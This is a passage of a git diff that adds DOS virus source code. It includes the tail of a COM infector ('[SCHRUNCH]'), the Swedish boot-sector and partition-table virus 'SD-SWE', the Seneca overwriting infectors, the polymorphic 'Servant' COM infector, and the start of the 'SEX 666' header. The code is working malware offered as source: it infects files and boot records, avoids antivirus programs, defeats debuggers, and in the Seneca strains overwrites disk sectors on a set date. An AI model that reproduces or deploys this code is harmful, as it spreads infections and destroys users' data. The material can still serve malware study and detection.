bp,offset next ; bp = delta offset + + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsw + movsb + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+com_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,2000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + int 21h + retn ; 100h is on stack +save3 db 0cdh,20h,0 ; First 3 bytes of COM file + +activate: ; ****************************** + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ax,1112h ; We are gunna use the 8*8 internal font, man. + int 10h ; Hey man, call the interrupt. + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h + mov ah,4ch ; Lets ditch. + int 21h ; "Make it so." + jmp exit_virus + +virusname db '[SCHRUNCH]',0 +author db '[pAgE]',0 + +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +fake_msg db "Eddy lives somewhere in time!!! Psyche!$" +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/s/SD-SWE.ASM b/s/SD-SWE.ASM new file mode 100755 index 0000000..10cef8b --- /dev/null +++ b/s/SD-SWE.ASM @@ -0,0 +1,260 @@ +; Senast ndrad 891213. +; +; Lgger gamla bootsectorn p sida 1, spr 0, sector 3. +; sida 0, spr 0, sector 7 p HD. + + +Code Segment + Assume cs:Code + Org 0000h + +Main Proc Far + db 0EAh,05h,00h,0C0h,07h + + jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h + + +; Variabler + +Old13h dd 0 ; Gamla vectorn till diskfunktionerna. + +TmpVec dd 0 ; Temporr vec. vid ndring av int 13. + +BootPek dw 0003h,0100h + +; Slut p variabler + + + +Int13h Proc Near + push ds + push ax + push bx + + cmp dl,00h ; Drive A + jne Exit + + cmp ah,02h + jb Exit + cmp ah,04h + ja Exit ; Kolla s att func. 2-4 + + sub ax,ax + mov ds,ax + mov bx,043Fh ; Motor status byte. + test Byte Ptr [bx],01h ; Testa om motorn i A: r p.. + jnz Exit ; Nej,hoppa till gamla int 13h + + call Smitta + +Exit: pop bx + pop ax + pop ds + jmp [Old13h] + + +Smitta Proc Near + push cx + push dx + push si + push di + push es + + push cs + pop es + push cs + pop ds + + mov si,0004h ; Max antal frsk. + +Retry: mov ax,0201h ; Ls en sector + mov bx,0200h ; Ls hit. + mov cx,0001h ; Spr 0 Sector 1 + sub dx,dx ; Sida 0 Drive 0 + pushf + call [Old13h] ; Ls in booten. + + jnc OK + + dec si + jz Slut ; Hoppa ur om fel. + jmp Retry ; Frsk max 4 gnger. + + +OK: mov si,0200h + sub di,di + cld + lodsw + cmp ax,[di] + jne L2 + lodsw + cmp ax,[di+2] + jne L2 + jmp Slut + +L2: mov ax,0301h ; Skriv en sector. + mov bx,0200h + mov cx,0003h ; Spr 0 Sector 3 + mov dx,0100h ; Sida 1 Drive 0 + pushf + call [Old13h] ; Flytta boot sectorn. + + mov ax,0301h + sub bx,bx + mov cx,0001h + sub dx,dx + pushf + call [Old13h] ; Skriv ner viruset till booten. + +Slut: pop es + pop di + pop si + pop dx + pop cx + ret +Smitta Endp +Int13h Endp + +Init: sub ax,ax + mov ds,ax ; Nollar ds fr att ndra vect. + + cli + mov ss,ax + mov sp,7C00h + sti ; Stter upp en ny stack. + + push cs + pop es + mov di,Offset Old13h + mov si,004Ch + mov cx,0004h + cld + rep movsb ; Flytta int 13h vectorn. + + mov bx,0413h + mov ax,[bx] ; Minnesstorleken till ax. + dec ax + dec ax + mov [bx],ax ; Reservera plats fr viruset. + + mov cl,06h + shl ax,cl + mov es,ax ; Omvandla till segment addres. + + mov Word Ptr TmpVec,Offset Int13h + mov Word Ptr TmpVec+2,es + push es + sub ax,ax + mov es,ax + push cs + pop ds + mov si,Offset TmpVec + mov di,004Ch + mov cx,0004h + rep movsb + pop es + + sub si,si + mov di,si + mov cx,0200h ; Hela viruset + lite till. + rep movsb + + mov ax,Offset Here + push es + push ax + ret ; Hoppa till viruset. + +Here: sub ax,ax + int 13h ; terstll driven + + sub ax,ax + mov es,ax + mov ax,0201h ; Ls en sector funk. + mov bx,7C00h ; Hit laddas booten normalt. + mov cx,BootPek + mov dx,BootPek+2 + int 13h + + push cs + pop es + mov ax,0201h + mov bx,0200h + mov cx,0001h + mov dx,0080h + int 13h ; Ls in partions tabellen. + jc Over + push cs + pop ds + mov si,0200h + sub di,di + lodsw + cmp ax,[di] ; Kolla om den r smittad. + jne HdInf + lodsw + cmp ax,[di+2] + jne HdInf + +Over: mov BootPek,0003h + mov BootPek+2,0100h + sub bx,bx + push bx + mov bx,7C00h + push bx + ret ; Kr den gamla booten. + +HdInf: mov BootPek,0007h + mov BootPek+2,0080h + + mov ax,0301h + mov bx,0200h + mov cx,0007h + mov dx,0080h + int 13h ; Flytta orgin. part.tabellen. + jc Over + + push cs + pop ds + push cs + pop es + mov si,03BEh + mov di,01BEh + mov cx,0042h + cld + rep movsb ; Kopiera part. data till viruset. + + mov ax,0301h + sub bx,bx + mov cx,0001h + mov dx,0080h + int 13h ; Skriv viruset till part. tabellen. + + + sub ax,ax + mov es,ax ; Kolla om msg:et ska skrivas ut. + test Byte Ptr es:[046Ch],07h + jnz HdInf1 + + mov si,Offset Txt ; Detta utfrs bara om man bootar frn + cld ; diskett. +Foo1: lodsb + cmp al,00h + je HdInf1 + mov ah,0Eh + sub bx,bx + int 10h + jmp Foo1 + +HdInf1: jmp Over + + +Slutet Label Byte ; Anvnds fr att veta var slutet r. + + +Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h + + +Main Endp +Code Ends + End + + \ No newline at end of file diff --git a/s/SENECA.ASM b/s/SENECA.ASM new file mode 100755 index 0000000..c1004b6 --- /dev/null +++ b/s/SENECA.ASM @@ -0,0 +1,184 @@ +;**************************************************************************** +; Seneca Virus +; +; Written by Admiral Bailey - Youths Against McAfee +; Notes : +; Non resident exe overwriting infector. Goes on on november 25. +; At that time it formats the current drive. And it changes +; directories while looking for files to infect. After looking back on +; this code I couldn't believe I actually wrote it. Oh well we all +; start somewhere. +;**************************************************************************** + +month equ 11 ; Seneca's birthday +day equ 25 ; November 25th + +xt_time equ 30 ; Number of minutes to give on an xt + ; with no clock on it +dta equ 80h ; data transfer area + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ; Make it a .com file + +virus_start equ $ + +seneca: + jmp mess_up_2 ; Just for encryption + nop ; how lame. I actually though this + nop ; would work.. haha. The good old + nop ; times + +mess_up_1: + jmp sen_virus + nop + nop + +mess_up_2: + jmp mess_up_1 + nop + nop + nop + +sen_virus: ; Real start of virus + +test_year: + mov ah,2ah ; Get the date from computer + int 21h + cmp cx,1980 ; XT's usually don't have clocks + jle must_be_xt ; So give the guy xt_time minutes + jmp test_month ; If not xt then test the month + +test_month: + mov ah,2ah ; Get the date from computer + int 21h ; Do it + cmp dh,month ; Compare month with comp. month + je test_day ; If equal then test the day + jmp find_first_file ; Nope then quit + +test_day: + mov ah,2ah ; Get the date from computer + int 21h ; Do it + cmp dl,day ; Is it the right day? + je disp_messege ; Yes then do thing + jmp find_first_file ; No then find a file + +must_be_xt: ; Only got here because year is 1980 + mov ah,2ch ; Get the time + int 21h ; Do it + cmp cl,xt_time ; Is it past the xt_time given? + jge xt_messege ; Yes the kill current drive... + jmp find_first_file ; No then quit + +find_first_file: + mov dx,offset file_type ; Load the type of file to look for + mov ah,4eh ; Find first file command + xor cx,cx ; Clear cx find only normal + int 21h ; find the first file + jc change_dir ; if none found change directory + jmp infect ; if found then infect + +find_next_file: + mov ah,4fh ; find next file command + int 21h ; do it + cmp ax,12h ; any more files? + je change_dir ; nope then change dir + jmp infect ; yup then infect + + +change_dir: + mov dx,offset directory ; Directory to change to ".." + mov ah,3bh ; Change dir command + int 21h ; change dir + jc quit ; if cant change dir then quit + jmp find_first_file ; now that we've changed find files + +xt_messege: ; displays messege on XT's + mov ah,9 ; Display string function + mov dx,offset messege2 ; Locate the xtstring + int 21h ; Display the xtstring + jmp kill_drive ; Then kill drive. + +disp_messege: ; Display messege on comp. with clock + mov ah,9 ; Display string function + mov dx,offset messege ; Locate the string + int 21h ; Display the string + +kill_drive: + mov ah,19h ; Get current drive (al=drive) + int 21h ; Do it + mov cx,0ffh ; Fry 256 sectors + mov dx,0 ; Start at sector 0 + int 26h ; Do it + jc quit ; If error then quit + +quit: + int 20h + +infect: + mov bx,dta ; put dta in bx + mov ax,[bx]+15h ; get files attribute + mov orig_attr,ax ; save attribute + mov ax,[bx]+16h ; get current files time + mov orig_time,ax ; save current files time + mov ax,[bx]+18h ; get current file date + mov orig_date,ax ; save current files date + mov al,2 ; set up to open handle for read/write + mov ah,3dh ; open file handle command + int 21h ; do it + mov handle,ax ; save current file handle + mov bx,handle ; get the file handle + mov ah,3eh ; close it for now + int 21h + mov ah,3dh ; open again to reset handle + mov dx,dta+1eh ; moves filename into dx + mov al,2 + int 21h + mov handle,ax ; save handle again + mov bx,handle ; put handle in bx + mov cx,virus_length ; put size of virus in cx + mov dx,code_start ; where the code starts + mov ah,40h ; write to handle command + int 21h ; write virus into file + mov bx,handle ; get handle of stack + mov cx,orig_time ; get original time + mov dx,orig_date ; get original date + mov al,1 ; set file date/time service + mov ah,57h ; get/set file date and time + int 21h ; call dos + mov bx,handle ; get handle + mov ah,3eh ; close handle service + int 21h ; do it + mov cx,orig_attr ; get files original attribute + mov al,1 ; put it back + mov dx,dta+1eh ; get filename + mov ah,43h ; dos command + int 21h + jmp find_next_file ; now find another file + +messege db 'HEY EVERYONE!!!',13,10 ; b-day string + db 'Its Seneca''s B-Day! Let''s Party!',13,10 + db '$' + +messege2 db 'You shouldn''t use your computer so much,',13,10 + db 'its bad for you and your computer.',13,10 ; xt string + db '$' + +file_type db '*.exe',0 +directory db '..',0 +orig_attr dw ? +orig_time dw ? +orig_date dw ? +handle dw ? +code_start equ 100h + +virus_end equ $ + +virus_length = virus_end - virus_start ;length of virus + + +code ends + + end seneca + + diff --git a/s/SENECAB.ASM b/s/SENECAB.ASM new file mode 100755 index 0000000..705cb44 --- /dev/null +++ b/s/SENECAB.ASM @@ -0,0 +1,267 @@ +;**************************************************************************** +; Seneca Virus Strain B +; +; Written by Admiral Bailey +; YAM - Youths Against McAfee +; +; Another overwriting virus. This one though gets all the files and is +; encrypted. My first try at encryption. Well this was long ago so dont +; laugh. I was just learning. +; BTW as of scan 99 this is still unscannable. And it was released so long +; ago. +;**************************************************************************** + + +;--- +; To get this to work the first time make sure the year is 1985 if it is not +; then the program will just crash. It will check if the year is 1985 and if +; it is then it will skip the encryption part because it is alread +; unencrypted. Now after running it for the first time and getting an +; infected exe file write over the first two bytes with the hex number +; 90 which stands for nop. The first two bytes are: +; +; jmp 133 +; +; The above jump is what I use for the first time to skip the encryption. +;--- + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ;Make it a .com file + +seneca: ;Start of virus + jmp test_year ;Skips encryption for the first time + +virus_start equ $ + +real_start: + + call encrypt_decrypt ;this is the real encrypted v. + jmp test_year + +;--- +; This loop is what encrypts and decrypts the total virus +;--- +encrypt_decrypt: + mov bx,offset test_year ;where it starts encryption + mov cx,enc_length ;amount to loop +xor_loop: + mov ah,[bx] ;get byte + xor ah,0ffh ;encrypt it + mov [bx],ah ;write it back + inc bx + loop xor_loop ;loop around till end + ret + +;--- +; This part has to remain unencrypted since it has to continue while the +; virus is in encrypted mode. +;--- +infect_file: + mov bx,handle ;put handle in bx + push bx ;save bx + call encrypt_decrypt ;encrypte virus + pop bx ;unsave bx + mov cx,virus_length ;put size of virus in cx + mov dx,100h ;where the code starts + mov ah,40h ;write to handle command + int 21h ;write virus into file + call encrypt_decrypt ;decrypt the virus + ret + +enc_begin equ $ ;where encryption begins + +;--- +; This will test the year and tell us if its an xt or not +;--- +test_year: + mov ah,2ah ;Get the date from computer + int 21h ;Do it + cmp cx,1980 ;XT's usually don't have clocks + jle must_be_xt ;So give the guy xt_time minutes + jmp test_month ;If not xt then test the month + +;--- +; This will tell us if its the correct month +;--- +test_month: + mov ah,2ah ;Get the date from computer + int 21h ;Do it + cmp dx,0b19h ;Compare month and day + je disp_messege ;If equal kill computer + jmp find_first_file ;Nope then get a file + +;--- +; We get here if the year is 1980 that means its an xt and we check to see if +; the user has been using the computer too long +;--- +must_be_xt: ;Only got here because year is 1980 + mov ah,2ch ;Get the time + int 21h ;Do it + cmp cl,1eh ;Is it past the xt_time given? + jge xt_messege ;Yes the kill current drive... + jmp find_first_file ;No then quit + +;--- +; This procedure finds the first file +;--- +find_first_file: + mov dx,offset file_type ;Load the type of file to look for + mov ah,4eh ;Find first file command + xor cx,cx ;Clear cx find read-only + int 21h ;find the first file + jc change_dir ;if none found change directory + jmp infect ;if found then infect + +;--- +; This steps down a directory +;--- +change_dir: + mov dx,offset directory ;Directory to change to ".." + mov ah,3bh ;Change dir command + int 21h ;change dir + jc quit ;if cant change dir then quit + jmp find_first_file ;now that we've changed find files + +;--- +; This displays the the different messeges +;--- +xt_messege: ;displays messege on XT's + push ax + push bx + mov bx,offset messege2 + call printstringloop + pop bx + pop ax + jmp kill_drive + +;--- +; This will look for every other file +;--- +find_next_file: + mov ah,4fh ;find next file command + int 21h ;do it + cmp ax,12h ;any more files? + je change_dir ;nope then change dir + jmp infect ;yup then infect + + +disp_messege: + push ax + push bx + mov bx,offset messege ;display regular messege + call printstringloop + pop bx + pop ax + jmp kill_drive + +PrintStringLoop: + mov dl,[bx] ;get the next character + and dl,dl ;is the character's value zero? + jz EndPrintString ;if so, then we're done with the + ; string + inc bx ;point to the next character + sub dl,0ah ;sub 10 from char + mov ah,2 ;DOS display output function + int 21h ;invoke DOS to print the character + jmp PrintStringLoop ;print the next character, if any +EndPrintString: + ret + +kill_drive: + mov ah,19h ;Get current drive (al=drive) + int 21h ;Do it + mov cx,0ffh ;Fry 256 sectors + mov dx,0 ;Start at sector 0 + int 26h ;Do it + jc quit ;If error then quit + +;--- +; This is the procedure that quits the virus... +;--- +quit: + mov ah,2ch ;read real time clock + int 21h ;returns DH-->Seconds + cmp dh,0ah ;is it below 10 seconds 1in6 chance + ja dont_do_it ;no then quit + mov bx,offset messege3 ;get messege in bx + call printstringloop ;decrypt messege +dont_do_it: + int 20h ;quit to dos + +;--- +; This is where all the infection is done +;--- +infect: + mov bx,80h ;put dta in bx + mov ax,[bx]+15h ;get files attribute + mov orig_attr,ax ;save attribute + mov ax,[bx]+16h ;get current files time + mov orig_time,ax ;save current files time + mov ax,[bx]+18h ;get current file date + mov orig_date,ax ;save current files date + + mov ax,[bx]+1ah ;get files size + mov orig_size,ax ;save files size + + mov al,2 ;set up to open handle for read/write + mov ah,3dh ;open file handle command + int 21h ;do it + mov handle,ax ;save current file handle + mov bx,handle ;get the file handle + mov ah,3eh ;close it for now + int 21h + cmp orig_size,2bch ;compare files size 700 bytes + jb find_next_file ;if its smaller find another file + mov ah,3dh ;open again to reset handle + mov dx,80h+1eh ;moves filename into dx + mov al,2 + int 21h + mov handle,ax ;save handle again + + call infect_file ;encrypt program and write it + + mov cx,orig_time ;get original time + mov dx,orig_date ;get original date + mov al,1 ;set file date/time service + mov ah,57h ;get/set file date and time + int 21h ;call dos + mov bx,handle ;get handle + mov ah,3eh ;close handle service + int 21h ;do it + mov cx,orig_attr ;get files original attribute + mov al,1 ;put it back + mov dx,80h+1eh ;get filename + mov ah,43h ;dos command + int 21h + jmp find_next_file ;now find another file + +;--- +; These are different things needed for the virus +;--- +; day messege - just saying its Sen's B-Day +messege db 'ROc*O`O\cYXO+++S~}*]oxomk1}*L7Nk+**Vo~1}*Zk|~+',0 +; xt messege - Telling the user he uses his computer too much +messege2 db 'cy*}ryvnx1~*}o*y|*mywz~o|*}y*wmr6s~}*lkn*py|*' + db 'y*kxn*y|*mywz~o|8',0 +; error messege - Saying the exe is no good +messege3 db 'PK^KV*O\\Y\*77*ObO*s}*Pmuon+++',0 + +file_type db '*.*',0 ;file type +directory db '..',0 ;directory changing +orig_attr dw ? ;holds attribute +orig_time dw ? ;holds time +orig_date dw ? ;holds date +orig_size dw ? ;holds files size +handle dw ? ;holds handle + +virus_end equ $ ;marks the end + +virus_length = virus_end - virus_start ;length of virus +enc_length = virus_end - enc_begin + +code ends + + end seneca + + diff --git a/s/SERVANT.ASM b/s/SERVANT.ASM new file mode 100755 index 0000000..da51e9b --- /dev/null +++ b/s/SERVANT.ASM @@ -0,0 +1,294 @@ +; +; Servant Virus by John Tardy / TridenT +; +; Virus Name: Servant +; Aliases: +; V Status: Released +; Discovery: Not (yet) +; Symptoms: .COM growth, message on Novell File server +; Origin: The Netherlands +; Eff Length: 444 Bytes +; Type Code: PNC - Parasitic Non-Resident .COM Infector +; Detection Method: +; Removal Instructions: Delete infected files +; +; General Comments: +; The Servant virus is not yet submitted to any antiviral authority. It +; is from The Netherlands. Servant is a non-resident infector of .COM +; files, but a program name beginning with CA, VA, GU, CO, 4D, VS or +; TB will not be infected. Servant infected programs will have a file +; length increase of 444 Bytes. The virus will be located at the end +; of the infected file. There will be no change in the file's date and +; time in a DOS directory listing. + +Version Equ 1 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ah,B Ds:[046ch] ; + + Mov Ds,Cs ; If Ah is not zero, goto + Cmp Ah,0 ; GenKey. + Jne GenKey ; + + Lea Si,NovMsg[Bp] ; This function will send a + Lea Di,EndOfVir[Bp] ; message to the Novell + Mov Ah,0e1h ; Server CONSOLE!!! + Int 21h ; + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Xor B Decrypt[Bp],2 ; Make the Xor variable. + + Test Ah,4 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Xchg Ah,Al ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +NovMsg Dw FuncLen ; The Novell packet to +Func Db 09h ; send. This sends my name + Db MsgLen ; to the fileserver, making +Msg Db 'John Tardy / TridenT' ; the supervisor hysterical! +MsgLen Equ $-Msg ; +FuncLen Equ $-Func ; + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/s/SEX666.ASM b/s/SEX666.ASM new file mode 100755 index 0000000..4cdbfad --- /dev/null +++ b/s/SEX666.ASM @@ -0,0 +1,1069 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: SEX 666 +; Origin: Holland +; Eff Length: 2,048 bytes +; Type Code: PRhE - Parasitic Resident .EXE Infector +; +; General Comments: +; When the first program with SEX 666 is executed, SEX 666 will infect +; this partition table the first harddisk and install itself resident +; at the top of system memory, but below the 640k DOS boundary. Free +; memory as indicated by the DOS CHKDSK program, will decrease by 4112 +; bytes. Interrupt 21h will be hooked by the virus. +; +; This first time the computer is booted from the first harddisk SEX 666 +; will install itself resident above TOM but below the 640k DOS boundary. +; Total system memory as indicated by the DOS CHKDSK program, will +; decrease by 4096 bytes. +; +; After SEX 666 is resident, it will infect .EXE programs that are +; created with dos function 3ch or 5bh. Infected programs will increase +; in size by 2048 bytes, though the increase in file length will be +; hidden if SEX 666 is 